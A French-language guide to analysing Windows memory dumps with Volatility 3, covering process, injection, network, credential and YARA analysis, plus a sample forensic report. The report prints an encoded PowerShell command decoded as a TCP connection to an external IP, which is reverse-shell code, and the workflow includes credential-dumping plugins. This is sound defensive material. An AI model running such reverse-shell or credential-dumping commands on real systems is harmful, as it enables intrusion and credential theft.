Analyse des dumps de mémoire avec Volatility
Quand utiliser
- La RAM d'un système compromis a été capturée et nécessite une analyse forensique pour rechercher des artefacts de malware
- Détection de malwares sans fichier (fileless) qui n'existent qu'en mémoire sans artefacts persistants sur le disque
- Extraction de clés de chiffrement, mots de passe ou configurations déchiffrées à partir de la mémoire des processus
- Identification d'injection de processus, d'injection de DLL ou de process hollowing dans un système compromis
- Analyse d'activité de rootkit qui se cache des outils forensiques standards basés sur le disque
Ne pas utiliser pour l'analyse d'images disque ; utiliser Autopsy, FTK ou Sleuth Kit pour la forensique disque.
Prérequis
- Volatility 3 installé (
pip install volatility3) avec les tables de symboles pour le système d'exploitation cible - Fichier de dump mémoire acquis sur le système cible (via WinPmem, LiME ou DumpIt)
- Connaissance de la version du système d'exploitation source pour la sélection correcte du profil/symbole
- Espace disque suffisant (les dumps mémoire peuvent faire 4 à 64 Go)
- Règles YARA pour scanner la mémoire à la recherche de signatures de malwares connus
- Utilitaire Strings pour extraire les chaînes de caractères lisibles des régions mémoire
Workflow
Étape 1 : Identifier le profil du dump mémoire
Déterminez le système d'exploitation et sa version à partir du dump mémoire :
# Volatility 3 : Détection automatique du système d'exploitation
vol3 -f memory.dmp windows.info
# Lister les plugins disponibles
vol3 -f memory.dmp --help
# Si des symboles sont nécessaires, les télécharger depuis :
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# Pour Volatility 2 (legacy) :
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
Étape 2 : Énumérer les processus en cours
Listez tous les processus et identifiez les entrées suspectes :
# Lister tous les processus
vol3 -f memory.dmp windows.pslist
# Arborescence des processus (relations parent-enfant)
vol3 -f memory.dmp windows.pstree
# Rechercher les processus cachés/délignés (détection de rootkit)
vol3 -f memory.dmp windows.psscan
# Comparer pslist et psscan pour trouver les processus cachés
# Les processus dans psscan mais pas dans pslist sont potentiellement cachés par des rootkits
# Vérifier le process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Ensuite vérifier que l'EXE extrait correspond au binaire attendu sur le disque
Indicateurs de processus suspects :
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe non lancé par services.exe (mauvais parent)
- csrss.exe/lsass.exe avec un processus parent inhabituel
- Plusieurs instances de lsass.exe (il ne devrait y en avoir qu'une)
- Processus avec des noms mal orthographiés (scvhost.exe, lssas.exe)
- cmd.exe ou powershell.exe lancé par WINWORD.EXE ou un navigateur
- Processus s'exécutant depuis des chemins inhabituels (%TEMP%, %APPDATA%)
- Processus sans parent (orphelins – parent terminé)
Étape 3 : Détecter une injection de code malveillant
Recherchez le code injecté et le process hollowing :
# Détecter le code injecté dans les processus (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind recherche :
# - Les régions mémoire avec la protection PAGE_EXECUTE_READWRITE
# - Les régions mémoire contenant des en-têtes PE (signature MZ/PE)
# - Les anomalies VAD (Virtual Address Descriptor)
# Extraire les régions mémoire injectées pour analyse
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# Lister les DLL chargées par processus
vol3 -f memory.dmp windows.dlllist --pid 2184
# Détecter les processus hollowés en comparant l'image mappée au disque
vol3 -f memory.dmp windows.hollowfind
# Rechercher les pilotes chargés (pilotes rootkit potentiels)
vol3 -f memory.dmp windows.driverscan
# Lister les modules du noyau
vol3 -f memory.dmp windows.modules
Étape 4 : Analyser les connexions réseau
Extrayez les connexions réseau actives et fermées :
# Lister toutes les connexions réseau (actives et en écoute)
vol3 -f memory.dmp windows.netscan
# Colonnes de sortie : Offset, Protocole, AdresseLocale, PortLocal, AdresseDistant, PortDistant, État, PID, Propriétaire
# Filtrer pour les connexions établies vers des IP externes
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# Pour les anciens Windows (XP/2003) :
vol3 -f memory.dmp windows.netstat
# Recouper les PID avec la liste des processus
# Suspect : svchost.exe connecté à une IP externe sur un port non standard
# Suspect : notepad.exe ou calc.exe avec des connexions réseau
Étape 5 : Extraire les artefacts et les identifiants
Récupérez les données sensibles de la mémoire :
# Extraire la mémoire d'un processus pour un PID spécifique
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extraire l'historique des lignes de commande
vol3 -f memory.dmp windows.cmdline
# Extraire les variables d'environnement
vol3 -f memory.dmp windows.envars --pid 2184
# Analyse du registre (extraire les clés Run pour la persistance)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extraire les identifiants hachés/mis en cache
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extraire le contenu du presse-papiers
vol3 -f memory.dmp windows.clipboard
# Extraction de fichiers depuis la mémoire
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
Étape 6 : Scanner la mémoire avec des règles YARA
Appliquez des signatures YARA pour détecter des malwares connus en mémoire :
# Scanner l'intégralité du dump mémoire avec des règles YARA
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Scanner la mémoire d'un processus spécifique
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Scan YARA intégré pour des motifs courants
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Rechercher du matériel de clé de chiffrement
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
Étape 7 : Génération de la chronologie et du rapport
Créez une chronologie d'analyse et compilez les résultats :
# Générer une chronologie complète
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# La chronologie inclut :
# - Heures de création/terminaison des processus
# - Horodatages des connexions réseau
# - Heures de modification du registre
# - Heures d'accès aux fichiers
# Exporter la liste des processus pour le rapport
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Exporter les connexions réseau
vol3 -f memory.dmp windows.netscan --output csv > network.csv
Concepts clés
| Terme | Définition |
|---|---|
| Forensique mémoire | Analyse du contenu de la mémoire volatile (RAM) pour identifier les processus en cours, les connexions réseau et les artefacts en mémoire qui peuvent ne pas exister sur le disque |
| Process Hollowing | Technique de malware consistant à créer un processus légitime en état suspendu, remplacer sa mémoire par du code malveillant, puis reprendre l'exécution |
| Malfind | Plugin Volatility détectant le code injecté en identifiant les régions mémoire avec des permissions exécutables et des en-têtes PE dans des VAD non-image |
| VAD (Virtual Address Descriptor) | Structure du noyau Windows qui suit les régions mémoire allouées à un processus ; les anomalies dans les VAD indiquent une injection ou un hollowing |
| EPROCESS | Structure du noyau Windows représentant un processus ; les rootkits délient les entrées EPROCESS pour cacher des processus aux outils standards |
| Pool Tag Scanning | Technique de forensique mémoire qui recherche les tags de pool d'objets du noyau pour trouver des objets (processus, fichiers, connexions) même lorsqu'ils sont déliés |
| Malware sans fichier (Fileless) | Malware qui opère entièrement en mémoire sans créer de fichiers sur le disque ; uniquement détectable par forensique mémoire |
Outils et systèmes
- Volatility 3: Framework open-source de forensique mémoire prenant en charge l'analyse mémoire Windows, Linux et macOS avec une architecture de plugins
- WinPmem: Outil d'acquisition mémoire pour les systèmes Windows qui crée des dumps mémoire bruts pour une analyse hors ligne
- LiME (Linux Memory Extractor) : Module noyau chargeable pour capturer les dumps mémoire des systèmes Linux
- Rekall : Framework alternatif de forensique mémoire avec quelques capacités d'analyse uniques (discontinué mais toujours utile)
- MemProcFS : Système de fichiers de processus mémoire permettant de monter des dumps mémoire comme des systèmes de fichiers pour une analyse intuitive
Scénarios courants
Scénario : Détection d'un malware sans fichier après une alerte EDR
Contexte : L'EDR a détecté une activité PowerShell suspecte mais l'acteur malveillant a nettoyé les artefacts disque. Un dump mémoire a été capturé avant le redémarrage du système. L'analyse doit identifier le malware, son mécanisme de persistance et tout mouvement latéral.
Approche :
- Exécutez
windows.pstreepour identifier la chaîne de processus (quel processus a lancé PowerShell) - Exécutez
windows.malfindpour détecter du code injecté dans les processus en cours - Extrayez la mémoire du processus suspect et récupérez les chaînes pour les URL C2
- Exécutez
windows.netscanpour identifier les connexions réseau depuis les processus compromis - Exécutez
windows.cmdlinepour voir quelles commandes PowerShell a exécutées - Scannez avec des règles YARA pour les familles de malwares connues dans la mémoire du processus extrait
- Extrayez les identifiants avec
hashdumpetlsadumppour évaluer le risque de mouvement latéral
Pièges à éviter :
- Utiliser les mauvaises tables de symboles pour la version du système d'exploitation (provoque des échecs de plugin ou des résultats incorrects)
- Ne pas comparer les sorties de
pslistetpsscan(processus cachés par rootkit manqués) - Ignorer les processus légitimes qui ont été injectés (se concentrer sur les résultats de malfind, pas seulement les noms de processus)
- Ne pas extraire la mémoire complète du processus avant de conclure l'analyse (les chaînes extraites du dump processus peuvent révéler des IOCs supplémentaires)
Format de sortie
RAPPORT D'ANALYSE FORENSIQUE MÉMOIRE
=======================================
Fichier de dump : memory.dmp
Taille du dump : 16 Go
Version OS : Windows 10 21H2 (Build 19044)
Outil de capture : WinPmem 4.0
Heure de capture : 2025-09-15 14:35:00 UTC
PROCESSUS SUSPECTS
PID PPID Nom Chemin Anomalie
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Mauvais chemin
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Enfant du faux svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Lancé par PowerShell
INJECTION DE CODE DÉTECTÉE (malfind)
PID 852 (explorer.exe) :
Adresse : 0x00400000 Taille : 98304 Protection : PAGE_EXECUTE_READWRITE
En-tête : MZ (PE intégré détecté)
SHA-256 du dump : abc123def456...
CONNEXIONS RÉSEAU
PID Processus Local Distant État
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ÉTABLIE
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ÉTABLIE
IDENTIFIANTS EXTRAITS
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
HISTORIQUE DES LIGNES DE COMMANDE
PID 4012 : powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Décodé : $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
CORRESPONDANCES YARA
PID 2184 : règle CobaltStrike_Beacon { correspondance à 0x00401200 }
CHRONOLOGIE
14:10:00 svchost.exe (PID 2184) créé depuis C:\Users\Admin\AppData\Temp\
14:10:05 Connexion réseau à 185.220.101.42:443 établie
14:12:30 powershell.exe (PID 4012) lancé par svchost.exe
14:15:00 Injection de code dans explorer.exe (PID 852) détectée
14:20:00 Extraction d'identifiants du processus LSASS